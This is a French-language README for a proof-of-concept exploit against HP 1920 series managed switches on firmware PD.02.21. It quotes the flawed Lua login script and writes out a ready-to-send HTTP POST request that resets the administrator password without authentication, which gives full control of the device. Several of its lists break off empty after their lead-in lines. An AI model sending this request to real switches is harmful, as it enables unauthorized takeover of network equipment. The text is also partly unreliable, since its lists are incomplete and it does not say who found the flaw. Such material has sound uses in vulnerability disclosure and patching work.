
Preuve de concept d'exploitation d'une contournement d'authentification sur les commutateurs HP série 1920, permettant de modifier le mot de passe administrateur sans authentification via une requête HTTP POST spécialement conçue.
Version du firmware : PD.02.21
Appareils concernés : Commutateurs intelligents gérés de la série HP 1920
Ce dépôt documente une vulnérabilité critique de contournement d'authentification dans les commutateurs intelligents gérés de la série HP 1920 exécutant la version du firmware PD.02.21. La vulnérabilité permet à un attaquant non authentifié de modifier le mot de passe administrateur sans authentification préalable, ce qui permet effectivement une prise de contrôle complète de l'appareil.
La vulnérabilité existe dans le script /login/default_password_cfg.lua, qui gère le changement du mot de passe par défaut de l'appareil. Ce script :
oldPwd correspond au mot de passe par défaut (qui est vide)La section clé vulnérable dans default_password_cfg.lua :
if (request_method == 'POST') then
-- Aucune vérification d'authentification ou de session !
local defaultPassword = fpaux.string_const("FD_USER_MGR_DEFAULT_PASSWORD")
-- ...
if form_post.oldPwd ~= defaultPassword then
errorStatus = "401 Unauthorized"
errorText = label.old_password_mismatch
else
-- Procède au changement de mot de passe
-- ...
end
end
Le script manque de contrôles de sécurité critiques :
Un attaquant peut exploiter cette vulnérabilité à l'aide d'une simple requête HTTP POST :
POST /login/default_password_cfg.lua HTTP/1.1
Host: [ip-cible]
Content-Type: application/x-www-form-urlencoded
Content-Length: [longueur]
username=admin&oldPwd=&newPwd=[nouveau-mot-de-passe]&confirmPwd=[nouveau-mot-de-passe]
Remarque : Le paramètre oldPwd est laissé vide car le mot de passe par défaut est vide.
Cette vulnérabilité permet à un attaquant non authentifié de :
Je n'ai pas eu le temps de rechercher qui a découvert cette vulnérabilité à l'origine. Je publie simplement une preuve de concept.
Ces informations sont fournies à des fins éducatives uniquement. L'auteur n'est pas responsable de toute utilisation abusive de ces informations. Obtenez toujours une autorisation appropriée avant de tester des vulnérabilités.